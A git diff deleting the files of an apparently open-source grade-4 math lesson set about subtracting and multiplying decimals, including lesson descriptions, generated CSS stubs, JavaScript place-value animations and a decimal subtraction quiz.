diff --git a/Save_Mathematics/P4/map412m03/map412m03a04/source.txt b/Save_Mathematics/P4/map412m03/map412m03a04/source.txt
deleted file mode 100755
index 1cd3124..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a04/source.txt
+++ /dev/null
@@ -1,15 +0,0 @@
-<h1>
- Introduction: Subtraction of Decimals
-</h1>
-<!--NG-->
-<p>
- The computer will show examples of forming the difference of pairs of 
-decimal numbers.
-</p>
-<p>
- The computer will show that the numbers need to be expanded into a place table. The 
-computer will remind the student that 10/10 = 1 unit, 10/100 = 1/10 
-and 100/1000 = 1/100. This means the pattern of regrouping works the same with decimals 
-as it does with whole numbers. This means the procedures which the student already 
-knows for subtracting whole numbers also applies to the subtraction of decimals.
-</p>
diff --git a/Save_Mathematics/P4/map412m03/map412m03a05/a.txt b/Save_Mathematics/P4/map412m03/map412m03a05/a.txt
deleted file mode 100755
index 45bb5e6..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a05/a.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-<h1>Guided Practice: Subtraction of Decimals</h1>
-<!--NG-->
-
-The computer will pose problems involving subtraction of decimals. If the student 
-gives an incorrect answer, the computer will animate the solution by expanding 
-the numbers in a place table and then performing the normal subtraction operation and, 
-finally, rewriting difference as a decimal number.
diff --git a/Save_Mathematics/P4/map412m03/map412m03a05/css/divs.css b/Save_Mathematics/P4/map412m03/map412m03a05/css/divs.css
deleted file mode 100755
index c052cfa..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a05/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:14.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m03/map412m03a02 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m03/map412m03a02/description.py
- */
diff --git a/Save_Mathematics/P4/map412m03/map412m03a05/js/lesson-karma.js b/Save_Mathematics/P4/map412m03/map412m03a05/js/lesson-karma.js
deleted file mode 100755
index db8cc97..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a05/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:14.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m03/map412m03a02 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m03/map412m03a02/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m03/map412m03a05/js/lesson.js b/Save_Mathematics/P4/map412m03/map412m03a05/js/lesson.js
deleted file mode 100755
index aac216f..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a05/js/lesson.js
+++ /dev/null
@@ -1,261 +0,0 @@
-//show addition by expanding operands, summing columns and regrouping
-
-function compare_by_digit(op1_whole,op1_decimal,op2_whole,op2_decimal){
-    if (op1_whole.length != op2_whole.length){
-        return 0;
-    };
-    for (i=0;i<op1_whole.length;i++){
-        if(op1_whole[i]!=op2_whole[i]){
-            return i;
-        }
-    };
-    for (i=0;i<op1_decimal.length;i++){
-        if(op1_decimal[i]!=op2_decimal[i]){
-            return op1_whole.length + i;
-        }
-    };
-    if(op1_decimal.length>op2_decimal.length){
-        return op1_decimal.length;
-    }else if(op1_decimal.length<op2.decimal.length){
-        return op2_decimal.length;
-    }
-    return -1;
-};
-
-function placeValue(operand){
-    operand_string = operand+"";
-    operandwd = operand_string.split('.');
-    operandw = operandwd[0];
-    operandd = operandwd[1];
-    operand_whole = operandw.split("");
-    operand_decimal = operandd.split("");;
-    return [operand_whole,operand_decimal];
-};
-
-function swap(list,op1,op2){
-    drawBlanks(op1+1,9);
-    operand = placeValue(list[op2]);    
-    drawDigits(op1+1,50+6*columnWidth,operand[0]);
-    pos = operand[1].length;
-    drawDigits(op1+1,50+(6+pos)*columnWidth,operand[1]);
-    drawHighlight(op1+1,50,op2+1+"",'black');
-    drawBlanks(op2+1,9);
-    operand = placeValue(list[op1]);
-    drawDigits(op2+1,50+6*columnWidth,operand[0]);
-    pos = operand[1].length;
-    drawDigits(op2+1,50+(6+pos)*columnWidth,operand[1]);
-    drawHighlight(op2+1,50,op1+1+"",'black');
-    save = list[op1];
-    list[op1] = list[op2];
-    list[op2] = save;
-};
-
-function phase1(){
-    //expand operands
-    txtComment = question;
-    drawComment(0,0, txtComment);
-    operand = placeValue(op1);
-    operand1_whole = operand[0];
-    operand1_decimal = operand[1];
-    drawDigits(1,50+6*columnWidth,operand_whole.reverse());
-    pos = operand_decimal.length;
-    drawDigits(1,50+(6+pos)*columnWidth,operand_decimal.reverse());
-    operand = placeValue(op2);
-    operand2_whole = operand[0];
-    operand2_decimal = operand[1];
-    drawDigits(2,50+6*columnWidth,operand_whole.reverse());
-    pos = operand_decimal.length;
-    drawDigits(2,50+(6+pos)*columnWidth,operand_decimal.reverse());
-    drawComment(1,10*columnWidth+10,'Expand');
-    drawTotal(2,50+9*columnWidth,true,9);
-    doPhase(1);
-};
-
-function phase2(){
-    //sum columns
-    operand1 = placeValue(op1);
-    operand2 = placeValue(op2);
-    op1_whole = operand1[0];
-    op1_decimal = operand1[1];
-    op2_whole = operand2[0];
-    op2_decimal = operand2[1];
-    //add leading and trailing zeroes as necessary
-    if(op1_whole.length > op2_whole.length){
-        //add leading zeroes to op2
-        whole = op1_whole.length;
-        for(i=0;i<op1_whole.length-op2_whole.length;i++){
-            op2_whole.unshift(0);
-        };
-    }else if (op1_whole.length< op2_whole.length) {
-        //add leading zeroes to op1
-        whole = op2_whole.length;
-        for(i=0;i<op2_whole.length-op1_whole.length;i++){
-            op1_whole.unshift(0);
-        };
-    }else{
-        whole = op1_whole.length;
-    };
-    if(op1_decimal.length > op2_decimal.length){
-        //add trailing zeroes to op2
-        dcml = op1_decimal.length;
-        for(i=0;i<op1_decimal.length-op2_decimal.length;i++){
-            op2_decimal.push(0);
-        };
-    }else if(op1_decimal.length < op2_decimal.length){
-        //add trailing zeroes to op1
-        dcml = op2_decimal.length;
-        for(i=0;i<op2_decimal.length-op1_decimal.length;i++){
-            op1_decimal.push(0);
-        };
-    }else{
-        dcml = op1_decimal.length;
-    };
-    for(i=0;i<dcml;i++){
-        op1d = op1_decimal[i];
-        op2d = op2_decimal[i];
-        sum = parseInt(op1d)+parseInt(op2d);
-        drawNumber(3, 30+(7+i)*columnWidth, sum);
-    };
-    for(i=0;i<whole;i++){
-        op1w = op1_whole[i];
-        op2w = op2_whole[i];
-        sum = parseInt(op1w)+parseInt(op2w);
-       	drawNumber(3, 30+(i+1)*columnWidth, sum);
-    };
-    drawComment(3,10*columnWidth+20,'Sum Columns');
-    drawTotal(3,50+9*columnWidth,true,9);
-    doPhase(2);
-};
-
-function phase3(){
-    operand1 = placeValue(op1);
-    operand2 = placeValue(op2);
-    op1_whole = operand1[0];
-    op1_decimal = operand1[1];
-    op2_whole = operand2[0];
-    op2_decimal = operand2[1];
-    //add leading and trailing zeroes as necessary
-    if(op1_whole.length > op2_whole.length){
-        //add leading zeroes to op2
-        whole = op1_whole.length;
-        for(i=0;i<op1_whole.length-op2_whole.length;i++){
-            op2_whole.unshift(0);
-        };
-    }else if (op1_whole.length< op2_whole.length) {
-        //add leading zeroes to op1
-        whole = op2_whole.length;
-        for(i=0;i<op2_whole.length-op1_whole.length;i++){
-            op1_whole.unshift(0);
-        };
-    }else{
-        whole = op1_whole.length;
-    };
-    if(op1_decimal.length > op2_decimal.length){
-        //add trailing zeroes to op2
-        dcml = op1_decimal.length;
-        for(i=0;i<op1_decimal.length-op2_decimal.length;i++){
-            op2_decimal.push(0);
-        };
-    }else if(op1_decimal.length < op2_decimal.length){
-        //add trailing zeroes to op1
-        dcml = op2_decimal.length;
-        for(i=0;i<op2_decimal.length-op1_decimal.length;i++){
-            op1.decimal_push(0);
-        };
-    }else{
-        dcml = op1_decimal.length;
-    };
-    carry = 0;
-    for(i=dcml;i>0;i--){
-        op1d = op1_decimal[i-1];
-        op2d = op2_decimal[i-1];
-        sum = parseInt(op1d)+parseInt(op2d)+carry;
-        carry = 0;
-        if(sum<10){
-            drawNumber(4, 30+(6+i)*columnWidth, sum);
-        }else{
-            //we need to carry
-            drawNumber(4, 30+(6+i)*columnWidth, sum-10);
-            carry = 1;
-        };
-    };
-    for(i=whole;i>0;i--){
-        op1w = op1_whole[i-1];
-        op2w = op2_whole[i-1];
-        sum = parseInt(op1w)+parseInt(op2w)+carry;
-        carry = 0;
-        if(sum<10){
-            drawNumber(4, 30+i*columnWidth, sum);
-        }else{
-            drawNumber(4, 30+i*columnWidth, sum-10);
-            carry = 1;
-        };
-    };
-    if(carry>0){
-        drawNumber(4,0,1);
-    };
-    drawComment(4,10*columnWidth+20,'Regroup');
-    doPhase(3);
-};
-
-function phase4(){
-    alert('phase4');
-};
-
-steps = [phase1,phase2,phase3,phase4];
-
-function doPhase(step){
-   $('#content')
-       .one('click',steps[step])
-};
-
-function check_answer(karma) {
-     // check that student has provided correct answer
-     // if not draw()
-     result = $('#solution').val();
-     if (result == solution) {
-        $('#content')
-           .empty()
-           .html('<h3>Congratulations! You got that one right.' +
-                'Press Start to try another.</h3>')
-     } else if (result.length > 0) {
-        message = '<p>Sorry.</p><p>    '+question+' is not '+result+'</p>'+
-               '<p>'+solution+'</p></p><p>Let me try.</p>'
-        $('#content')
-           .empty()
-           .html(message);
-        $('<canvas id="placeValue"/>')
-           .appendTo('#content');
-        draw();
-        doPhase(0);
-     };
-};
-
-function startGame(karma) {
-  $('#content')
-      .empty()
-  //build addition problem
-  op1 = getRandom(0,999999999)/1000;
-  op2 = getRandom(0,999999999)/1000;
-  question = 'Add: '+op1+' + '+op2
-  solution = op1 + op2
-  $('<div id="workArea"/>')
-      .empty()
-      .html("<p>" + question + "</p>")
-      .appendTo('#content')
-  $("<input name = 'solution' id = 'solution' value = '' type='text'/>")
-      .focus()
-      .appendTo('#content')
-  $('<canvas id="placeValue" />')
-      .appendTo('#content')
-};
-
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m03/map412m03a05/a.txt'})
-     .appendTo('#content')
-};
-
-setUpLesson(initialize, startGame);
-
diff --git a/Save_Mathematics/P4/map412m03/map412m03a05/source.txt b/Save_Mathematics/P4/map412m03/map412m03a05/source.txt
deleted file mode 100755
index 45bb5e6..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a05/source.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-<h1>Guided Practice: Subtraction of Decimals</h1>
-<!--NG-->
-
-The computer will pose problems involving subtraction of decimals. If the student 
-gives an incorrect answer, the computer will animate the solution by expanding 
-the numbers in a place table and then performing the normal subtraction operation and, 
-finally, rewriting difference as a decimal number.
diff --git a/Save_Mathematics/P4/map412m03/map412m03a06/a.txt b/Save_Mathematics/P4/map412m03/map412m03a06/a.txt
deleted file mode 100755
index d0bbbfc..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a06/a.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-<h1>
- Opportunity
-</h1>
-<!--NG-->
-<p>
- In this activity, you will have an opportunity to show what you have learned about 
-the subtraction of decimal numbers..
-</p>
-<p>
- Press Start to begin.
-</p>
diff --git a/Save_Mathematics/P4/map412m03/map412m03a06/css/divs.css b/Save_Mathematics/P4/map412m03/map412m03a06/css/divs.css
deleted file mode 100755
index cefafb4..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a06/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:13.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m02/map412m02a01 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m02/map412m02a01/description.py
- */
diff --git a/Save_Mathematics/P4/map412m03/map412m03a06/css/lesson.css b/Save_Mathematics/P4/map412m03/map412m03a06/css/lesson.css
deleted file mode 100755
index 2dbb5ae..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a06/css/lesson.css
+++ /dev/null
@@ -1,6 +0,0 @@
-#quizArea{
-    position:relative;
-    float:left;
-    width: 100%;
-    height: 400px;
-}
diff --git a/Save_Mathematics/P4/map412m03/map412m03a06/js/lesson-karma.js b/Save_Mathematics/P4/map412m03/map412m03a06/js/lesson-karma.js
deleted file mode 100755
index fe3a61b..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a06/js/lesson-karma.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function lesson_karma() {
-    return Karma({
-image: [
-    ],
-audio: [
-    ],
-                 });
-}
diff --git a/Save_Mathematics/P4/map412m03/map412m03a06/js/lesson.js b/Save_Mathematics/P4/map412m03/map412m03a06/js/lesson.js
deleted file mode 100755
index 46cd16d..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a06/js/lesson.js
+++ /dev/null
@@ -1,51 +0,0 @@
-function generate_decimal(min,max) {
-  n = Math.random()*(max-min)+min;
-  ntxt = n + ' ';
-  point = ntxt.indexOf('.');
-  whole = ntxt.substring(0,point-1)
-  decimal = ntxt.substring(point+1,point+4)
-  return whole + '.' + decimal;
-};
-
-function generate_operand(min,max) {
-  return Math.random()*(max-min) + min;
-}
-
-function generate_opportunity(questions){
-    //build quiz.js
-    quiztxt = '';
-    for (q=0;q<questions;q++){
-        op1t = generate_operand(1,999999);
-        op2t = generate_operand(1,999999);
-        op1 = (op1t/1000).toFixed(3);
-        op2 = (op2t/1000).toFixed(3);
-        if (op1t > op2t) {
-            difference = ((op1t - op2t)/1000).toFixed(3);
-            quiztxt = quiztxt + "{ques:'"+op1+" - "+op2+"=', ans:'"+difference+"'},\n"
-        } else {
-            difference = ((op2t - op1t)/1000).toFixed(3);
-            quiztxt = quiztxt + "{ques:'"+op2+" - "+op1+"=', ans:'"+difference+"'},\n"
-        };
-    };
-    return quiztxt;
-};
-
-function initialize(karma) {
-    quiztxt = generate_opportunity(12);
-    url = window.location+"";
-    $('<div id="txtMain" />')
-        .load('http://localhost:8008/cgi-bin/getFile.py',
-        {'filename':'content/Mathematics/map412m03/map412m03a06/a.txt'})
-        .appendTo('#content');
-    $('<div id="workArea" />')
-        .load('http://localhost:8008/cgi-bin/writeQuiz.py',
-        {'activity':url,'text': quiztxt});
-};
-
-function startGame(karma) {
-    $('<div id="quizArea" />')
-        .appendTo('#content')
-        .jQuizMe(quiz,options)
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m03/map412m03a06/js/quiz.js b/Save_Mathematics/P4/map412m03/map412m03a06/js/quiz.js
deleted file mode 100755
index 994fd6f..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a06/js/quiz.js
+++ /dev/null
@@ -1,24 +0,0 @@
-var quiz = {
-fill:[
-{ques:'313.644 - 87.333=', ans:'226.311'},
-{ques:'845.158 - 413.319=', ans:'431.840'},
-{ques:'253.605 - 43.415=', ans:'210.190'},
-{ques:'848.443 - 810.546=', ans:'37.896'},
-{ques:'913.438 - 857.986=', ans:'55.452'},
-{ques:'217.441 - 68.832=', ans:'148.609'},
-{ques:'667.960 - 517.946=', ans:'150.014'},
-{ques:'419.743 - 383.633=', ans:'36.110'},
-{ques:'720.372 - 536.957=', ans:'183.414'},
-{ques:'255.466 - 107.860=', ans:'147.606'},
-{ques:'679.581 - 98.694=', ans:'580.886'},
-{ques:'845.382 - 96.497=', ans:'748.885'},
-]
-};
-
-var options = {
-    random:false,
-    allRandom:false,
-    disableRestart:true,
-    disableDelete:true,
-    title: "Opportunity",}
-
diff --git a/Save_Mathematics/P4/map412m03/map412m03a06/source.txt b/Save_Mathematics/P4/map412m03/map412m03a06/source.txt
deleted file mode 100755
index d0bbbfc..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a06/source.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-<h1>
- Opportunity
-</h1>
-<!--NG-->
-<p>
- In this activity, you will have an opportunity to show what you have learned about 
-the subtraction of decimal numbers..
-</p>
-<p>
- Press Start to begin.
-</p>
diff --git a/Save_Mathematics/P4/map412m04/activities.js b/Save_Mathematics/P4/map412m04/activities.js
deleted file mode 100755
index 2da8cc9..0000000
--- a/Save_Mathematics/P4/map412m04/activities.js
+++ /dev/null
@@ -1,7 +0,0 @@
-var activities = [
-['1','1','map4','basic','map412m04a01','blue'],
-['2','2','map4','basic','map412m04a02','blue'],
-['3','3','map4','basic','map412m04a03','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P4/map412m04/map412m04a01/a.txt b/Save_Mathematics/P4/map412m04/map412m04a01/a.txt
deleted file mode 100755
index ba1a732..0000000
--- a/Save_Mathematics/P4/map412m04/map412m04a01/a.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-<h1>Introduction</h1>
-<!--NG-->
-
-The computer will give some examples requiring the multiplication of a decimal by a whole number with one or two digits. By putting the numbers in a place value table, the computer will show that the procedure is that same as multiplying a whole number by a whole number. The only difference is that the product must have a decimal point separating the whole and decimal parts of the product. 
diff --git a/Save_Mathematics/P4/map412m04/map412m04a01/css/divs.css b/Save_Mathematics/P4/map412m04/map412m04a01/css/divs.css
deleted file mode 100755
index b8cfa16..0000000
--- a/Save_Mathematics/P4/map412m04/map412m04a01/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:14.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m04/map412m04a01 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m04/map412m04a01/description.py
- */
diff --git a/Save_Mathematics/P4/map412m04/map412m04a01/js/lesson-karma.js b/Save_Mathematics/P4/map412m04/map412m04a01/js/lesson-karma.js
deleted file mode 100755
index 3ed4ae7..0000000
--- a/Save_Mathematics/P4/map412m04/map412m04a01/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:14.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m04/map412m04a01 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m04/map412m04a01/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m04/map412m04a01/js/lesson.js b/Save_Mathematics/P4/map412m04/map412m04a01/js/lesson.js
deleted file mode 100755
index f9a1367..0000000
--- a/Save_Mathematics/P4/map412m04/map412m04a01/js/lesson.js
+++ /dev/null
@@ -1,264 +0,0 @@
-//show addition by expanding operands, summing columns and regrouping
-
-var caseno, cases, op1, op2;
-caseno = 0;
-cases = [[2.1,2.1],[123.456,654.321]];
-
-function compare_by_digit(op1_whole,op1_decimal,op2_whole,op2_decimal){
-    if (op1_whole.length != op2_whole.length){
-        return 0;
-    };
-    for (i=0;i<op1_whole.length;i++){
-        if(op1_whole[i]!=op2_whole[i]){
-            return i;
-        }
-    };
-    for (i=0;i<op1_decimal.length;i++){
-        if(op1_decimal[i]!=op2_decimal[i]){
-            return op1_whole.length + i;
-        }
-    };
-    if(op1_decimal.length>op2_decimal.length){
-        return op1_decimal.length;
-    }else if(op1_decimal.length<op2.decimal.length){
-        return op2_decimal.length;
-    }
-    return -1;
-};
-
-function placeValue(operand){
-    operand_string = operand+"";
-    operandwd = operand_string.split('.');
-    operandw = operandwd[0];
-    operandd = operandwd[1];
-    operand_whole = operandw.split("");
-    operand_decimal = operandd.split("");;
-    return [operand_whole,operand_decimal];
-};
-
-function swap(list,op1,op2){
-    drawBlanks(op1+1,9);
-    operand = placeValue(list[op2]);    
-    drawDigits(op1+1,50+6*columnWidth,operand[0]);
-    pos = operand[1].length;
-    drawDigits(op1+1,50+(6+pos)*columnWidth,operand[1]);
-    drawHighlight(op1+1,50,op2+1+"",'black');
-    drawBlanks(op2+1,9);
-    operand = placeValue(list[op1]);
-    drawDigits(op2+1,50+6*columnWidth,operand[0]);
-    pos = operand[1].length;
-    drawDigits(op2+1,50+(6+pos)*columnWidth,operand[1]);
-    drawHighlight(op2+1,50,op1+1+"",'black');
-    save = list[op1];
-    list[op1] = list[op2];
-    list[op2] = save;
-};
-
-function phase1(){
-    //expand operands
-    txtComment = question;
-    drawComment(0,0, txtComment);
-    operand = placeValue(op1);
-    operand1_whole = operand[0];
-    operand1_decimal = operand[1];
-    drawDigits(1,50+6*columnWidth,operand_whole.reverse());
-    pos = operand_decimal.length;
-    drawDigits(1,50+(6+pos)*columnWidth,operand_decimal.reverse());
-    operand = placeValue(op2);
-    operand2_whole = operand[0];
-    operand2_decimal = operand[1];
-    drawDigits(2,50+6*columnWidth,operand_whole.reverse());
-    pos = operand_decimal.length;
-    drawDigits(2,50+(6+pos)*columnWidth,operand_decimal.reverse());
-    drawComment(1,10*columnWidth+10,'Expand');
-    drawTotal(2,50+9*columnWidth,true,9);
-    doPhase(1);
-};
-
-function phase2(){
-    //sum columns
-    op1 = ops[0];
-    op2 = ops[1];
-    operand1 = placeValue(op1);
-    operand2 = placeValue(op2);
-    op1_whole = operand1[0];
-    op1_decimal = operand1[1];
-    op2_whole = operand2[0];
-    op2_decimal = operand2[1];
-    //add leading and trailing zeroes as necessary
-    if(op1_whole.length > op2_whole.length){
-        //add leading zeroes to op2
-        whole = op1_whole.length;
-        for(i=0;i<op1_whole.length-op2_whole.length;i++){
-            op2_whole.unshift(0);
-        };
-    }else if (op1_whole.length< op2_whole.length) {
-        //add leading zeroes to op1
-        whole = op2_whole.length;
-        for(i=0;i<op2_whole.length-op1_whole.length;i++){
-            op1_whole.unshift(0);
-        };
-    }else{
-        whole = op1_whole.length;
-    };
-    if(op1_decimal.length > op2_decimal.length){
-        //add trailing zeroes to op2
-        dcml = op1_decimal.length;
-        for(i=0;i<op1_decimal.length-op2_decimal.length;i++){
-            op2_decimal.push(0);
-        };
-    }else if(op1_decimal.length < op2_decimal.length){
-        //add trailing zeroes to op1
-        dcml = op2_decimal.length;
-        for(i=0;i<op2_decimal.length-op1_decimal.length;i++){
-            op1_decimal.push(0);
-        };
-    }else{
-        dcml = op1_decimal.length;
-    };
-    for(i=0;i<dcml;i++){
-        op1d = op1_decimal[i];
-        op2d = op2_decimal[i];
-        sum = parseInt(op1d)+parseInt(op2d);
-        drawNumber(3, 30+(7+i)*columnWidth, sum);
-    };
-    for(i=0;i<whole;i++){
-        op1w = op1_whole[i];
-        op2w = op2_whole[i];
-        sum = parseInt(op1w)+parseInt(op2w);
-       	drawNumber(3, 30+(i+1)*columnWidth, sum);
-    };
-    drawComment(3,10*columnWidth+20,'Sum Columns');
-    drawTotal(3,50+9*columnWidth,true,9);
-    doPhase(2);
-};
-
-function phase3(){
-    operand1 = placeValue(op1);
-    operand2 = placeValue(op2);
-    op1_whole = operand1[0];
-    op1_decimal = operand1[1];
-    op2_whole = operand2[0];
-    op2_decimal = operand2[1];
-    //add leading and trailing zeroes as necessary
-    if(op1_whole.length > op2_whole.length){
-        //add leading zeroes to op2
-        whole = op1_whole.length;
-        for(i=0;i<op1_whole.length-op2_whole.length;i++){
-            op2_whole.unshift(0);
-        };
-    }else if (op1_whole.length< op2_whole.length) {
-        //add leading zeroes to op1
-        whole = op2_whole.length;
-        for(i=0;i<op2_whole.length-op1_whole.length;i++){
-            op1_whole.unshift(0);
-        };
-    }else{
-        whole = op1_whole.length;
-    };
-    if(op1_decimal.length > op2_decimal.length){
-        //add trailing zeroes to op2
-        dcml = op1_decimal.length;
-        for(i=0;i<op1_decimal.length-op2_decimal.length;i++){
-            op2_decimal.push(0);
-        };
-    }else if(op1_decimal.length < op2_decimal.length){
-        //add trailing zeroes to op1
-        dcml = op2_decimal.length;
-        for(i=0;i<op2_decimal.length-op1_decimal.length;i++){
-            op1.decimal_push(0);
-        };
-    }else{
-        dcml = op1_decimal.length;
-    };
-    carry = 0;
-    for(i=dcml;i>0;i--){
-        op1d = op1_decimal[i-1];
-        op2d = op2_decimal[i-1];
-        sum = parseInt(op1d)+parseInt(op2d)+carry;
-        carry = 0;
-        if(sum<10){
-            drawNumber(4, 30+(6+i)*columnWidth, sum);
-        }else{
-            //we need to carry
-            drawNumber(4, 30+(6+i)*columnWidth, sum-10);
-            carry = 1;
-        };
-    };
-    for(i=whole;i>0;i--){
-        op1w = op1_whole[i-1];
-        op2w = op2_whole[i-1];
-        sum = parseInt(op1w)+parseInt(op2w)+carry;
-        carry = 0;
-        if(sum<10){
-            drawNumber(4, 30+i*columnWidth, sum);
-        }else{
-            drawNumber(4, 30+i*columnWidth, sum-10);
-            carry = 1;
-        };
-    };
-    if(carry>0){
-        drawNumber(4,0,1);
-    };
-    drawComment(4,10*columnWidth+20,'Regroup');
-    doPhase(3);
-};
-
-function phase4(){
-    alert('phase4');
-};
-
-steps = [phase1,phase2,phase3,phase4];
-
-function doPhase(step){
-   $('#content')
-       .one('click',steps[step])
-};
-
-function show_answer(karma) {
-        $('#content')
-           .empty()
-           .html("<p>"+question+"</p>"+
-                 "<p></p>solution: "+solution+"</p>"+
-                 "<p>Let's check it out.</p>"
-           );
-        $('<canvas id="placeValue"/>')
-           .appendTo('#content');
-        draw();
-        doPhase(0);
-};
-
-function startGame(karma) {
-  $('#content')
-      .empty()
-  //build addition problem
-  if(caseno==cases.length){
-      $('#content')
-          .html('<p>That was the last example!</p>'+
-                '<p>Press apply to practice what you have learned.</p>');
-      return;
-  };
-  ops = cases[caseno];
-  caseno += 1;
-  op1 = ops[0];
-  op2 = ops[1];
-  question = 'Add: '+op1+' + '+op2;
-  solution = op1 + op2;
-  $('<div id="workArea"/>')
-      .empty()
-      .html("<p>" + question + " = "+solution+"</p>")
-      .appendTo('#content')
-  $('<canvas id="placeValue" />')
-      .appendTo('#content')
-  show_answer();
-};
-
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m04/map412m04a01/a.txt'})
-     .appendTo('#content')
-};
-
-setUpLesson(initialize, startGame);
-
diff --git a/Save_Mathematics/P4/map412m04/map412m04a01/source.txt b/Save_Mathematics/P4/map412m04/map412m04a01/source.txt
deleted file mode 100755
index ba1a732..0000000
--- a/Save_Mathematics/P4/map412m04/map412m04a01/source.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-<h1>Introduction</h1>
-<!--NG-->
-
-The computer will give some examples requiring the multiplication of a decimal by a whole number with one or two digits. By putting the numbers in a place value table, the computer will show that the procedure is that same as multiplying a whole number by a whole number. The only difference is that the product must have a decimal point separating the whole and decimal parts of the product. 
diff --git a/Save_Mathematics/P4/map412m04/map412m04a01/source/a.txt b/Save_Mathematics/P4/map412m04/map412m04a01/source/a.txt
deleted file mode 100755
index b5af008..0000000
--- a/Save_Mathematics/P4/map412m04/map412m04a01/source/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Introduction
-
-The computer will give some examples requiring the multiplication of a decimal by a whole number with one or two digits. By putting the numbers in a place value table, the computer will show that the procedure is that same as multiplying a whole number by a whole number. The only difference is that the product must have a decimal point separating the whole and decimal parts of the product. 
diff --git a/Save_Mathematics/P4/map412m04/map412m04a01/source/description.py b/Save_Mathematics/P4/map412m04/map412m04a01/source/description.py
deleted file mode 100755
index fe859a3..0000000
--- a/Save_Mathematics/P4/map412m04/map412m04a01/source/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map412m04a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map412m04/map412m04a01/source/lesson.js b/Save_Mathematics/P4/map412m04/map412m04a01/source/lesson.js
deleted file mode 100755
index e84a13f..0000000
--- a/Save_Mathematics/P4/map412m04/map412m04a01/source/lesson.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics11/map412m04/map412m04a01/a.txt'})
-     .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m04/map412m04a02/a.txt b/Save_Mathematics/P4/map412m04/map412m04a02/a.txt
deleted file mode 100755
index aa2a269..0000000
--- a/Save_Mathematics/P4/map412m04/map412m04a02/a.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-<h1>Guided Practice</h1>
-<!--NG-->
-
-The computer will pose a problem involving the multiplication of a decimal number by a whole number of one or two digits. If the student gives an incorrect answer, the computer will animate the solution using a place value table. The student will continue the activity until satisfied that he/she has mastered the skill. 
diff --git a/Save_Mathematics/P4/map412m04/map412m04a02/css/divs.css b/Save_Mathematics/P4/map412m04/map412m04a02/css/divs.css
deleted file mode 100755
index 9bc62bc..0000000
--- a/Save_Mathematics/P4/map412m04/map412m04a02/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:15.
- * Do not edit.
